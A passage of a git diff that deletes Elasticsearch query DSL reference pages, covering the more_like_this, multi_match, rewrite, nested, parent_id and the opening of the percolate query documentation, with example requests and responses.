-  "mappings": {
-    "properties": {
-      "title": {
-        "type": "text",
-        "term_vector": "yes"
-      },
-      "description": {
-        "type": "text"
-      },
-      "tags": {
-        "type": "text",
-        "fields": {
-          "raw": {
-            "type": "text",
-            "analyzer": "keyword",
-            "term_vector": "yes"
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-
-==== Parameters
-
-The only required parameter is `like`, all other parameters have sensible
-defaults. There are three types of parameters: one to specify the document
-input, the other one for term selection and for query formation.
-
-[discrete]
-==== Document Input Parameters
-
-[horizontal]
-`like`::
-The only *required* parameter of the MLT query is `like` and follows a
-versatile syntax, in which the user can specify free form text and/or a single
-or multiple documents (see examples above). The syntax to specify documents is
-similar to the one used by the <<docs-multi-get,Multi GET API>>. When
-specifying documents, the text is fetched from `fields` unless overridden in
-each document request. The text is analyzed by the analyzer at the field, but
-could also be overridden. The syntax to override the analyzer at the field
-follows a similar syntax to the `per_field_analyzer` parameter of the
-<<docs-termvectors-per-field-analyzer,Term Vectors API>>.
-Additionally, to provide documents not necessarily present in the index,
-<<docs-termvectors-artificial-doc,artificial documents>> are also supported.
-
-`unlike`::
-The `unlike` parameter is used in conjunction with `like` in order not to
-select terms found in a chosen set of documents. In other words, we could ask
-for documents `like: "Apple"`, but `unlike: "cake crumble tree"`. The syntax
-is the same as `like`.
-
-`fields`::
-A list of fields to fetch and analyze the text from.
-
-[discrete]
-[[mlt-query-term-selection]]
-==== Term Selection Parameters
-
-[horizontal]
-`max_query_terms`::
-The maximum number of query terms that will be selected. Increasing this value
-gives greater accuracy at the expense of query execution speed. Defaults to
-`25`.
-
-`min_term_freq`::
-The minimum term frequency below which the terms will be ignored from the
-input document. Defaults to `2`.
-
-`min_doc_freq`::
-The minimum document frequency below which the terms will be ignored from the
-input document. Defaults to `5`.
-
-`max_doc_freq`::
-The maximum document frequency above which the terms will be ignored from the
-input document. This could be useful in order to ignore highly frequent words
-such as stop words. Defaults to unbounded (`Integer.MAX_VALUE`, which is `2^31-1`
-or 2147483647).
-
-`min_word_length`::
-The minimum word length below which the terms will be ignored. The old name
-`min_word_len` is deprecated. Defaults to `0`.
-
-`max_word_length`::
-The maximum word length above which the terms will be ignored. The old name
-`max_word_len` is deprecated. Defaults to unbounded (`0`).
-
-`stop_words`::
-An array of stop words. Any word in this set is considered "uninteresting" and
-ignored. If the analyzer allows for stop words, you might want to tell MLT to
-explicitly ignore them, as for the purposes of document similarity it seems
-reasonable to assume that "a stop word is never interesting".
-
-`analyzer`::
-The analyzer that is used to analyze the free form text. Defaults to the
-analyzer associated with the first field in `fields`.
-
-[discrete]
-==== Query Formation Parameters
-
-[horizontal]
-`minimum_should_match`::
-After the disjunctive query has been formed, this parameter controls the
-number of terms that must match.
-The syntax is the same as the <<query-dsl-minimum-should-match,minimum should match>>.
-(Defaults to `"30%"`).
-
-`fail_on_unsupported_field`::
-Controls whether the query should fail (throw an exception) if any of the 
-specified fields are not of the supported types
-(`text` or `keyword`). Set this to `false` to ignore the field and continue
-processing. Defaults to `true`.
-
-`boost_terms`::
-Each term in the formed query could be further boosted by their tf-idf score.
-This sets the boost factor to use when using this feature. Defaults to
-deactivated (`0`). Any other positive value activates terms boosting with the
-given boost factor.
-
-`include`::
-Specifies whether the input documents should also be included in the search
-results returned. Defaults to `false`.
-
-`boost`::
-Sets the boost value of the whole query. Defaults to `1.0`.
-
-==== Alternative
-To take more control over the construction of a query for similar documents it is worth considering writing custom client code to assemble selected terms from an example document into a Boolean query with the desired settings. The logic in `more_like_this` that selects "interesting" words from a piece of text is also accessible via the <<docs-termvectors,TermVectors API>>. For example, using the termvectors API it would be possible to present users with a selection of topical keywords found in a document's text, allowing them to select words of interest to drill down on, rather than using the more "black-box" approach of matching used by `more_like_this`.
diff --git a/docs/reference/query-dsl/multi-match-query.asciidoc b/docs/reference/query-dsl/multi-match-query.asciidoc
deleted file mode 100644
index c5b3943f5be..00000000000
--- a/docs/reference/query-dsl/multi-match-query.asciidoc
+++ /dev/null
@@ -1,552 +0,0 @@
-[[query-dsl-multi-match-query]]
-=== Multi-match query
-++++
-<titleabbrev>Multi-match</titleabbrev>
-++++
-
-The `multi_match` query builds on the <<query-dsl-match-query,`match` query>>
-to allow multi-field queries:
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "query": {
-    "multi_match" : {
-      "query":    "this is a test", <1>
-      "fields": [ "subject", "message" ] <2>
-    }
-  }
-}
---------------------------------------------------
-
-<1> The query string.
-<2> The fields to be queried.
-
-[discrete]
-[[field-boost]]
-==== `fields` and per-field boosting
-
-Fields can be specified with wildcards, eg:
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "query": {
-    "multi_match" : {
-      "query":    "Will Smith",
-      "fields": [ "title", "*_name" ] <1>
-    }
-  }
-}
---------------------------------------------------
-
-<1> Query the `title`, `first_name` and `last_name` fields.
-
-Individual fields can be boosted with the caret (`^`) notation:
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "query": {
-    "multi_match" : {
-      "query" : "this is a test",
-      "fields" : [ "subject^3", "message" ] <1>
-    }
-  }
-}
---------------------------------------------------
-
-<1> The query multiplies the `subject` field's score by three but leaves the
-`message` field's score unchanged.
-
-If no `fields` are provided, the `multi_match` query defaults to the `index.query.default_field`
-index settings, which in turn defaults to `*`. `*` extracts all fields in the mapping that
-are eligible to term queries and filters the metadata fields. All extracted fields are then
-combined to build a query.
-
-WARNING: There is a limit on the number of fields that can be queried
-at once. It is defined by the `indices.query.bool.max_clause_count` <<search-settings>>
-which defaults to 1024.
-
-[[multi-match-types]]
-[discrete]
-==== Types of `multi_match` query:
-
-The way the `multi_match` query is executed internally depends on the `type`
-parameter, which can be set to:
-
-[horizontal]
-`best_fields`::     (*default*) Finds documents which match any field, but
-                    uses the  `_score` from the best field.  See <<type-best-fields>>.
-
-`most_fields`::     Finds documents which match any field and combines
-                    the `_score` from each field.  See <<type-most-fields>>.
-
-`cross_fields`::    Treats fields with the same `analyzer` as though they
-                    were one big field. Looks for each word in *any*
-                    field. See <<type-cross-fields>>.
-
-`phrase`::          Runs a `match_phrase` query on each field and uses the `_score`
-                    from the best field.  See <<type-phrase>>.
-
-`phrase_prefix`::   Runs a `match_phrase_prefix` query on each field and uses
-                    the `_score` from the best field.  See <<type-phrase>>.
-
-`bool_prefix`::     Creates a `match_bool_prefix` query on each field and
-                    combines the `_score` from each field. See
-                    <<type-bool-prefix>>.
-
-[[type-best-fields]]
-==== `best_fields`
-
-The `best_fields` type is most useful when you are searching for multiple
-words best found in the same field. For instance ``brown fox'' in a single
-field is more meaningful than ``brown'' in one field and ``fox'' in the other.
-
-The `best_fields` type generates a <<query-dsl-match-query,`match` query>> for
-each field and wraps them in a <<query-dsl-dis-max-query,`dis_max`>> query, to
-find the single best matching field.  For instance, this query:
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "query": {
-    "multi_match" : {
-      "query":      "brown fox",
-      "type":       "best_fields",
-      "fields":     [ "subject", "message" ],
-      "tie_breaker": 0.3
-    }
-  }
-}
---------------------------------------------------
-
-would be executed as:
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "query": {
-    "dis_max": {
-      "queries": [
-        { "match": { "subject": "brown fox" }},
-        { "match": { "message": "brown fox" }}
-      ],
-      "tie_breaker": 0.3
-    }
-  }
-}
---------------------------------------------------
-
-Normally the `best_fields` type uses the score of the *single* best matching
-field, but if `tie_breaker` is specified, then it calculates the score as
-follows:
-
-  * the score from the best matching field
-  * plus `tie_breaker * _score` for all other matching fields
-
-Also, accepts `analyzer`, `boost`, `operator`, `minimum_should_match`,
-`fuzziness`, `lenient`, `prefix_length`, `max_expansions`, `fuzzy_rewrite`, `zero_terms_query`,
- `cutoff_frequency`, `auto_generate_synonyms_phrase_query` and `fuzzy_transpositions`,
-  as explained in <<query-dsl-match-query, match query>>.
-
-[IMPORTANT]
-[[operator-min]]
-.`operator` and `minimum_should_match`
-===================================================
-
-The `best_fields` and `most_fields` types are _field-centric_ -- they generate
-a `match` query *per field*.  This means that the `operator` and
-`minimum_should_match` parameters are applied to each field individually,
-which is probably not what you want.
-
-Take this query for example:
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "query": {
-    "multi_match" : {
-      "query":      "Will Smith",
-      "type":       "best_fields",
-      "fields":     [ "first_name", "last_name" ],
-      "operator":   "and" <1>
-    }
-  }
-}
---------------------------------------------------
-
-<1> All terms must be present.
-
-This query is executed as:
-
-      (+first_name:will +first_name:smith)
-    | (+last_name:will  +last_name:smith)
-
-In other words, *all terms* must be present *in a single field* for a document
-to match.
-
-See <<type-cross-fields>> for a better solution.
-
-===================================================
-
-[[type-most-fields]]
-==== `most_fields`
-
-The `most_fields` type is most useful when querying multiple fields that
-contain the same text analyzed in different ways.  For instance, the main
-field may contain synonyms, stemming and terms without diacritics. A second
-field may contain the original terms, and a third field might contain
-shingles. By combining scores from all three fields we can match as many
-documents as possible with the main field, but use the second and third fields
-to push the most similar results to the top of the list.
-
-This query:
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "query": {
-    "multi_match" : {
-      "query":      "quick brown fox",
-      "type":       "most_fields",
-      "fields":     [ "title", "title.original", "title.shingles" ]
-    }
-  }
-}
---------------------------------------------------
-
-would be executed as:
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "query": {
-    "bool": {
-      "should": [
-        { "match": { "title":          "quick brown fox" }},
-        { "match": { "title.original": "quick brown fox" }},
-        { "match": { "title.shingles": "quick brown fox" }}
-      ]
-    }
-  }
-}
---------------------------------------------------
-
-The score from each `match` clause is added together, then divided by the
-number of `match` clauses.
-
-Also, accepts `analyzer`, `boost`, `operator`, `minimum_should_match`,
-`fuzziness`, `lenient`, `prefix_length`, `max_expansions`, `fuzzy_rewrite`, `zero_terms_query`
-and `cutoff_frequency`, as explained in <<query-dsl-match-query,match query>>, but
-*see <<operator-min>>*.
-
-[[type-phrase]]
-==== `phrase` and `phrase_prefix`
-
-The `phrase` and `phrase_prefix` types behave just like <<type-best-fields>>,
-but they use a `match_phrase` or `match_phrase_prefix` query instead of a
-`match` query.
-
-This query:
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "query": {
-    "multi_match" : {
-      "query":      "quick brown f",
-      "type":       "phrase_prefix",
-      "fields":     [ "subject", "message" ]
-    }
-  }
-}
---------------------------------------------------
-
-would be executed as:
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "query": {
-    "dis_max": {
-      "queries": [
-        { "match_phrase_prefix": { "subject": "quick brown f" }},
-        { "match_phrase_prefix": { "message": "quick brown f" }}
-      ]
-    }
-  }
-}
---------------------------------------------------
-
-Also, accepts `analyzer`, <<mapping-boost,`boost`>>, `lenient` and `zero_terms_query` as explained
-in <<query-dsl-match-query>>, as well as `slop` which is explained in <<query-dsl-match-query-phrase>>.
-Type `phrase_prefix` additionally accepts `max_expansions`.
-
-[IMPORTANT]
-[[phrase-fuzziness]]
-.`phrase`, `phrase_prefix` and `fuzziness`
-===================================================
-The `fuzziness` parameter cannot be used with the `phrase` or `phrase_prefix` type.
-===================================================
-
-[[type-cross-fields]]
-==== `cross_fields`
-
-The `cross_fields` type is particularly useful with structured documents where
-multiple fields *should* match.  For instance, when querying the `first_name`
-and `last_name` fields for ``Will Smith'', the best match is likely to have
-``Will'' in one field and ``Smith'' in the other.
-
-****
-
-This sounds like a job for <<type-most-fields>> but there are two problems
-with that approach. The first problem is that `operator` and
-`minimum_should_match` are applied per-field, instead of per-term (see
-<<operator-min,explanation above>>).
-
-The second problem is to do with relevance: the different term frequencies in
-the `first_name` and `last_name` fields   can produce unexpected results.
-
-For instance, imagine we have two people: ``Will Smith'' and ``Smith Jones''.
-``Smith'' as a last name is very common (and so is of low importance) but
-``Smith'' as a first name is very uncommon (and so is of great importance).
-
-If we do a search for ``Will Smith'', the ``Smith Jones'' document will
-probably appear above the better matching ``Will Smith'' because the score of
-`first_name:smith` has trumped the combined scores of `first_name:will` plus
-`last_name:smith`.
-
-****
-
-One way of dealing with these types of queries is simply to index the
-`first_name` and `last_name` fields into a single `full_name` field.  Of
-course, this can only be done at index time.
-
-The `cross_field` type tries to solve these problems at query time by taking a
-_term-centric_ approach.  It first analyzes the query string into individual
-terms, then looks for each term in any of the fields, as though they were one
-big field.
-
-A query like:
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "query": {
-    "multi_match" : {
-      "query":      "Will Smith",
-      "type":       "cross_fields",
-      "fields":     [ "first_name", "last_name" ],
-      "operator":   "and"
-    }
-  }
-}
---------------------------------------------------
-
-is executed as:
-
-    +(first_name:will  last_name:will)
-    +(first_name:smith last_name:smith)
-
-In other words, *all terms* must be present *in at least one field* for a
-document to match.  (Compare this to
-<<operator-min,the logic used for `best_fields` and `most_fields`>>.)
-
-That solves one of the two problems. The problem of differing term frequencies
-is solved by _blending_ the term frequencies for all fields in order to even
-out the differences.
-
-In practice, `first_name:smith` will be treated as though it has the same
-frequencies as `last_name:smith`, plus one. This will make matches on
-`first_name` and `last_name` have comparable scores, with a tiny advantage
-for `last_name` since it is the most likely field that contains `smith`.
-
-Note that `cross_fields` is usually only useful on short string fields
-that all have a `boost` of `1`. Otherwise boosts, term freqs and length
-normalization contribute to the score in such a way that the blending of term
-statistics is not meaningful anymore.
-
-If you run the above query through the <<search-validate>>, it returns this
-explanation:
-
-    +blended("will",  fields: [first_name, last_name])
-    +blended("smith", fields: [first_name, last_name])
-
-Also, accepts `analyzer`, `boost`, `operator`, `minimum_should_match`,
-`lenient`, `zero_terms_query` and `cutoff_frequency`, as explained in
-<<query-dsl-match-query, match query>>.
-
-[[cross-field-analysis]]
-===== `cross_field` and analysis
-
-The `cross_field` type can only work in term-centric mode on fields that have
-the same analyzer. Fields with the same analyzer are grouped together as in
-the example above.  If there are multiple groups, they are combined with a
-`bool` query.
-
-For instance, if we have a `first` and `last` field which have
-the same analyzer, plus a `first.edge` and `last.edge` which
-both use an `edge_ngram` analyzer, this query:
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "query": {
-    "multi_match" : {
-      "query":      "Jon",
-      "type":       "cross_fields",
-      "fields":     [
-        "first", "first.edge",
-        "last",  "last.edge"
-      ]
-    }
-  }
-}
---------------------------------------------------
-
-would be executed as:
-
-        blended("jon", fields: [first, last])
-    | (
-        blended("j",   fields: [first.edge, last.edge])
-        blended("jo",  fields: [first.edge, last.edge])
-        blended("jon", fields: [first.edge, last.edge])
-    )
-
-In other words, `first` and `last` would be grouped together and
-treated as a single field, and `first.edge` and `last.edge` would be
-grouped together and treated as a single field.
-
-Having multiple groups is fine, but when combined with `operator` or
-`minimum_should_match`, it can suffer from the <<operator-min,same problem>>
-as `most_fields` or `best_fields`.
-
-You can easily rewrite this query yourself as two separate `cross_fields`
-queries combined with a `bool` query, and apply the `minimum_should_match`
-parameter to just one of them:
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "query": {
-    "bool": {
-      "should": [
-        {
-          "multi_match" : {
-            "query":      "Will Smith",
-            "type":       "cross_fields",
-            "fields":     [ "first", "last" ],
-            "minimum_should_match": "50%" <1>
-          }
-        },
-        {
-          "multi_match" : {
-            "query":      "Will Smith",
-            "type":       "cross_fields",
-            "fields":     [ "*.edge" ]
-          }
-        }
-      ]
-    }
-  }
-}
---------------------------------------------------
-
-<1> Either `will` or `smith` must be present in either of the `first`
-    or `last` fields
-
-You can force all fields into the same group by specifying the `analyzer`
-parameter in the query.
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "query": {
-   "multi_match" : {
-      "query":      "Jon",
-      "type":       "cross_fields",
-      "analyzer":   "standard", <1>
-      "fields":     [ "first", "last", "*.edge" ]
-    }
-  }
-}
---------------------------------------------------
-
-<1> Use the `standard` analyzer for all fields.
-
-which will be executed as:
-
-    blended("will",  fields: [first, first.edge, last.edge, last])
-    blended("smith", fields: [first, first.edge, last.edge, last])
-
-[[tie-breaker]]
-===== `tie_breaker`
-
-By default, each per-term `blended` query will use the best score returned by
-any field in a group, then these scores are added together to give the final
-score. The `tie_breaker` parameter can change the default behaviour of the
-per-term `blended` queries. It accepts:
-
-[horizontal]
-`0.0`::             Take the single best score out of (eg) `first_name:will`
-                    and `last_name:will` (*default* for all `multi_match`
-                    query types except `bool_prefix` and `most_fields`)
-`1.0`::             Add together the scores for (eg) `first_name:will` and
-                    `last_name:will` (*default* for the `bool_prefix` and
-                    `most_fields` `multi_match` query types)
-`0.0 < n < 1.0`::   Take the single best score plus +tie_breaker+ multiplied
-                    by each of the scores from other matching fields.
-
-[IMPORTANT]
-[[crossfields-fuzziness]]
-.`cross_fields` and `fuzziness`
-===================================================
-The `fuzziness` parameter cannot be used with the `cross_fields` type.
-===================================================
-
-[[type-bool-prefix]]
-==== `bool_prefix`
-
-The `bool_prefix` type's scoring behaves like <<type-most-fields>>, but using a
-<<query-dsl-match-bool-prefix-query,`match_bool_prefix` query>> instead of a
-`match` query.
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "query": {
-    "multi_match" : {
-      "query":      "quick brown f",
-      "type":       "bool_prefix",
-      "fields":     [ "subject", "message" ]
-    }
-  }
-}
---------------------------------------------------
-
-The `analyzer`, `boost`, `operator`, `minimum_should_match`, `lenient`,
-`zero_terms_query`, and `auto_generate_synonyms_phrase_query` parameters as
-explained in <<query-dsl-match-query, match query>> are supported. The
-`fuzziness`, `prefix_length`, `max_expansions`, `fuzzy_rewrite`, and
-`fuzzy_transpositions` parameters are supported for the terms that are used to
-construct term queries, but do not have an effect on the prefix query
-constructed from the final term.
-
-The `slop` and `cutoff_frequency` parameters are not supported by this query
-type.
diff --git a/docs/reference/query-dsl/multi-term-rewrite.asciidoc b/docs/reference/query-dsl/multi-term-rewrite.asciidoc
deleted file mode 100644
index fe415f4eb5b..00000000000
--- a/docs/reference/query-dsl/multi-term-rewrite.asciidoc
+++ /dev/null
@@ -1,109 +0,0 @@
-[[query-dsl-multi-term-rewrite]]
-== `rewrite` parameter
-
-WARNING: This parameter is for expert users only. Changing the value of
-this parameter can impact search performance and relevance.
-
-{es} uses https://lucene.apache.org/core/[Apache Lucene] internally to power
-indexing and searching. In their original form, Lucene cannot execute the
-following queries:
-
-* <<query-dsl-fuzzy-query, `fuzzy`>>
-* <<query-dsl-prefix-query, `prefix`>>
-* <<query-dsl-query-string-query, `query_string`>>
-* <<query-dsl-regexp-query, `regexp`>>
-* <<query-dsl-wildcard-query, `wildcard`>>
-
-To execute them, Lucene changes these queries to a simpler form, such as a
-<<query-dsl-bool-query, `bool` query>> or a
-{wikipedia}/Bit_array[bit set].
-
-The `rewrite` parameter determines:
-
-* How Lucene calculates the relevance scores for each matching document
-* Whether Lucene changes the original query to a `bool`
-query or bit set
-* If changed to a `bool` query, which `term` query clauses are included
-
-[discrete]
-[[rewrite-param-valid-values]]
-=== Valid values
-
-`constant_score` (Default)::
-Uses the `constant_score_boolean` method for fewer matching terms. Otherwise,
-this method finds all matching terms in sequence and returns matching documents
-using a bit set.
-
-`constant_score_boolean`::
-Assigns each document a relevance score equal to the `boost`
-parameter.
-+
-This method changes the original query to a <<query-dsl-bool-query, `bool`
-query>>. This `bool` query contains a `should` clause and
-<<query-dsl-term-query, `term` query>> for each matching term.
-+
-This method can cause the final `bool` query to exceed the clause limit in the
-<<indices-query-bool-max-clause-count, `indices.query.bool.max_clause_count`>>
-setting. If the query exceeds this limit, {es} returns an error.
-
-`scoring_boolean`::
-Calculates a relevance score for each matching document.
-+
-This method changes the original query to a <<query-dsl-bool-query, `bool`
-query>>. This `bool` query contains a `should` clause and
-<<query-dsl-term-query, `term` query>> for each matching term.
-+
-This method can cause the final `bool` query to exceed the clause limit in the
-<<indices-query-bool-max-clause-count, `indices.query.bool.max_clause_count`>>
-setting. If the query exceeds this limit, {es} returns an error.
-
-`top_terms_blended_freqs_N`::
-Calculates a relevance score for each matching document as if all terms had the
-same frequency. This frequency is the maximum frequency of all matching terms.
-+
-This method changes the original query to a <<query-dsl-bool-query, `bool`
-query>>. This `bool` query contains a `should` clause and
-<<query-dsl-term-query, `term` query>> for each matching term.
-+
-The final `bool` query only includes `term` queries for the top `N` scoring
-terms.
-+
-You can use this method to avoid exceeding the clause limit in the
-<<indices-query-bool-max-clause-count, `indices.query.bool.max_clause_count`>>
-setting.
-
-`top_terms_boost_N`::
-Assigns each matching document a relevance score equal to the `boost` parameter.
-+
-This method changes the original query to a <<query-dsl-bool-query, `bool`
-query>>. This `bool` query contains a `should` clause and
-<<query-dsl-term-query, `term` query>> for each matching term.
-+
-The final `bool` query only includes `term` queries for the top `N` terms.
-+
-You can use this method to avoid exceeding the clause limit in the
-<<indices-query-bool-max-clause-count, `indices.query.bool.max_clause_count`>>
-setting.
-
-`top_terms_N`::
-Calculates a relevance score for each matching document.
-+
-This method changes the original query to a <<query-dsl-bool-query, `bool`
-query>>. This `bool` query contains a `should` clause and
-<<query-dsl-term-query, `term` query>> for each matching term.
-+
-The final `bool` query
-only includes `term` queries for the top `N` scoring terms.
-+
-You can use this method to avoid exceeding the clause limit in the
-<<indices-query-bool-max-clause-count, `indices.query.bool.max_clause_count`>>
-setting.
-
-[discrete]
-[[rewrite-param-perf-considerations]]
-=== Performance considerations for the `rewrite` parameter
-For most uses, we recommend using the `constant_score`,
-`constant_score_boolean`, or `top_terms_boost_N` rewrite methods.
-
-Other methods calculate relevance scores. These score calculations are often
-expensive and do not improve query results.
\ No newline at end of file
diff --git a/docs/reference/query-dsl/nested-query.asciidoc b/docs/reference/query-dsl/nested-query.asciidoc
deleted file mode 100644
index 853e1012bcf..00000000000
--- a/docs/reference/query-dsl/nested-query.asciidoc
+++ /dev/null
@@ -1,276 +0,0 @@
-[[query-dsl-nested-query]]
-=== Nested query
-++++
-<titleabbrev>Nested</titleabbrev>
-++++
-
-Wraps another query to search <<nested,nested>> fields.
-
-The `nested` query searches nested field objects as if they were indexed as
-separate documents. If an object matches the search, the `nested` query returns
-the root parent document.
-
-[[nested-query-ex-request]]
-==== Example request
-
-[[nested-query-index-setup]]
-===== Index setup
-
-To use the `nested` query, your index must include a <<nested,nested>> field
-mapping. For example:
-
-[source,console]
-----
-PUT /my-index-000001
-{
-  "mappings": {
-    "properties": {
-      "obj1": {
-        "type": "nested"
-      }
-    }
-  }
-}
-
-----
-
-[[nested-query-ex-query]]
-===== Example query
-
-[source,console]
-----
-GET /my-index-000001/_search
-{
-  "query": {
-    "nested": {
-      "path": "obj1",
-      "query": {
-        "bool": {
-          "must": [
-            { "match": { "obj1.name": "blue" } },
-            { "range": { "obj1.count": { "gt": 5 } } }
-          ]
-        }
-      },
-      "score_mode": "avg"
-    }
-  }
-}
-----
-// TEST[continued]
-
-[[nested-top-level-params]]
-==== Top-level parameters for `nested`
-
-`path`::
-(Required, string) Path to the nested object you wish to search.
-
-`query`::
-+
---
-(Required, query object) Query you wish to run on nested objects in the `path`.
-If an object matches the search, the `nested` query returns the root parent
-document.
-
-You can search nested fields using dot notation that includes the complete path,
-such as `obj1.name`.
-
-Multi-level nesting is automatically supported, and detected, resulting in an
-inner nested query to automatically match the relevant nesting level, rather
-than root, if it exists within another nested query.
-
-See <<multi-level-nested-query-ex>> for an example.
---
-
-`score_mode`::
-+
---
-(Optional, string) Indicates how scores for matching child objects affect the
-root parent document's <<relevance-scores,relevance score>>. Valid values
-are:
-
-`avg` (Default)::
-Use the mean relevance score of all matching child objects.
-
-`max`::
-Uses the highest relevance score of all matching child objects.
-
-`min`::
-Uses the lowest relevance score of all matching child objects.
-
-`none`::
-Do not use the relevance scores of matching child objects. The query assigns
-parent documents a score of `0`.
-
-`sum`::
-Add together the relevance scores of all matching child objects.
---
-
-`ignore_unmapped`::
-+
---
-(Optional, Boolean) Indicates whether to ignore an unmapped `path` and not
-return any documents instead of an error. Defaults to `false`.
-
-If `false`, {es} returns an error if the `path` is an unmapped field.
-
-You can use this parameter to query multiple indices that may not contain the
-field `path`.
---
-
-[[nested-query-notes]]
-==== Notes
-
-[[multi-level-nested-query-ex]]
-===== Multi-level nested queries
-
-To see how multi-level nested queries work,
-first you need an index that has nested fields.
-The following request defines mappings for the `drivers` index
-with nested `make` and `model` fields.
-
-[source,console]
-----
-PUT /drivers
-{
-  "mappings": {
-    "properties": {
-      "driver": {
-        "type": "nested",
-        "properties": {
-          "last_name": {
-            "type": "text"
-          },
-          "vehicle": {
-            "type": "nested",
-            "properties": {
-              "make": {
-                "type": "text"
-              },
-              "model": {
-                "type": "text"
-              }
-            }
-          }
-        }
-      }
-    }
-  }
-}
-----
-
-Next, index some documents to the `drivers` index.
-
-[source,console]
-----
-PUT /drivers/_doc/1
-{
-  "driver" : {
-        "last_name" : "McQueen",
-        "vehicle" : [
-            {
-                "make" : "Powell Motors",
-                "model" : "Canyonero"
-            },
-            {
-                "make" : "Miller-Meteor",
-                "model" : "Ecto-1"
-            }
-        ]
-    }
-}
-
-PUT /drivers/_doc/2?refresh
-{
-  "driver" : {
-        "last_name" : "Hudson",
-        "vehicle" : [
-            {
-                "make" : "Mifune",
-                "model" : "Mach Five"
-            },
-            {
-                "make" : "Miller-Meteor",
-                "model" : "Ecto-1"
-            }
-        ]
-    }
-}
-----
-// TEST[continued]
-
-You can now use a multi-level nested query
-to match documents based on the `make` and `model` fields.
-
-[source,console]
-----
-GET /drivers/_search
-{
-  "query": {
-    "nested": {
-      "path": "driver",
-      "query": {
-        "nested": {
-          "path": "driver.vehicle",
-          "query": {
-            "bool": {
-              "must": [
-                { "match": { "driver.vehicle.make": "Powell Motors" } },
-                { "match": { "driver.vehicle.model": "Canyonero" } }
-              ]
-            }
-          }
-        }
-      }
-    }
-  }
-}
-----
-// TEST[continued]
-
-The search request returns the following response:
-
-[source,console-result]
-----
-{
-  "took" : 5,
-  "timed_out" : false,
-  "_shards" : {
-    "total" : 1,
-    "successful" : 1,
-    "skipped" : 0,
-    "failed" : 0
-  },
-  "hits" : {
-    "total" : {
-      "value" : 1,
-      "relation" : "eq"
-    },
-    "max_score" : 3.7349272,
-    "hits" : [
-      {
-        "_index" : "drivers",
-        "_type" : "_doc",
-        "_id" : "1",
-        "_score" : 3.7349272,
-        "_source" : {
-          "driver" : {
-            "last_name" : "McQueen",
-            "vehicle" : [
-              {
-                "make" : "Powell Motors",
-                "model" : "Canyonero"
-              },
-              {
-                "make" : "Miller-Meteor",
-                "model" : "Ecto-1"
-              }
-            ]
-          }
-        }
-      }
-    ]
-  }
-}
-----
-// TESTRESPONSE[s/"took" : 5/"took": $body.took/]
diff --git a/docs/reference/query-dsl/parent-id-query.asciidoc b/docs/reference/query-dsl/parent-id-query.asciidoc
deleted file mode 100644
index 8b573c08dcc..00000000000
--- a/docs/reference/query-dsl/parent-id-query.asciidoc
+++ /dev/null
@@ -1,112 +0,0 @@
-[[query-dsl-parent-id-query]]
-=== Parent ID query
-++++
-<titleabbrev>Parent ID</titleabbrev>
-++++
-
-Returns child documents <<parent-join,joined>> to a specific parent document.
-You can use a <<parent-join,join>> field mapping to create parent-child
-relationships between documents in the same index.
-
-[[parent-id-query-ex-request]]
-==== Example request
-
-[[parent-id-index-setup]]
-===== Index setup
-To use the `parent_id` query, your index must include a <<parent-join,join>>
-field mapping. To see how you can set up an index for the `parent_id` query, try
-the following example.
-
-. Create an index with a <<parent-join,join>> field mapping.
-+
---
-[source,console]
-----
-PUT /my-index-000001
-{
-  "mappings": {
-    "properties": {
-      "my-join-field": {
-        "type": "join",
-        "relations": {
-          "my-parent": "my-child"
-        }
-      }
-    }
-  }
-}
-
-----
-// TESTSETUP
---
-
-. Index a parent document with an ID of `1`.
-+
---
-[source,console]
-----
-PUT /my-index-000001/_doc/1?refresh
-{
-  "text": "This is a parent document.",
-  "my-join-field": "my-parent"
-}
-----
---
-
-. Index a child document of the parent document.
-+
---
-[source,console]
-----
-PUT /my-index-000001/_doc/2?routing=1&refresh
-{
-  "text": "This is a child document.",
-  "my_join_field": {
-    "name": "my-child",
-    "parent": "1"
-  }
-}
-----
---
-
-[[parent-id-query-ex-query]]
-===== Example query
-
-The following search returns child documents for a parent document with an ID of
-`1`.
-
-[source,console]
-----
-GET /my-index-000001/_search
-{
-  "query": {
-      "parent_id": {
-          "type": "my-child",
-          "id": "1"
-      }
-  }
-}
-----
-
-[[parent-id-top-level-params]]
-==== Top-level parameters for `parent_id`
-
-`type`::
-(Required, string) Name of the child relationship mapped for the
-<<parent-join,join>> field.
-
-`id`::
-(Required, string) ID of the parent document. The query will return child
-documents of this parent document.
-
-`ignore_unmapped`::
-+
---
-(Optional, Boolean) Indicates whether to ignore an unmapped `type` and not
-return any documents instead of an error. Defaults to `false`.
-
-If `false`, {es} returns an error if the `type` is unmapped.
-
-You can use this parameter to query multiple indices that may not contain the
-`type`.
---
diff --git a/docs/reference/query-dsl/percolate-query.asciidoc b/docs/reference/query-dsl/percolate-query.asciidoc
deleted file mode 100644
index 64c0b904dad..00000000000
--- a/docs/reference/query-dsl/percolate-query.asciidoc
+++ /dev/null
@@ -1,701 +0,0 @@
-[[query-dsl-percolate-query]]
-=== Percolate query
-++++
-<titleabbrev>Percolate</titleabbrev>
-++++
-
-The `percolate` query can be used to match queries
-stored in an index. The `percolate` query itself
-contains the document that will be used as query
-to match with the stored queries.
-
-[discrete]
-=== Sample Usage
-
-Create an index with two fields:
-
-[source,console]
---------------------------------------------------
-PUT /my-index-00001
-{
-  "mappings": {
-    "properties": {
-      "message": {
-        "type": "text"
-      },
-      "query": {
-        "type": "percolator"
-      }
-    }
-  }
-}
---------------------------------------------------
-
-The `message` field is the field used to preprocess the document defined in
-the `percolator` query before it gets indexed into a temporary index.
-
-The `query` field is used for indexing the query documents. It will hold a
-json object that represents an actual Elasticsearch query. The `query` field
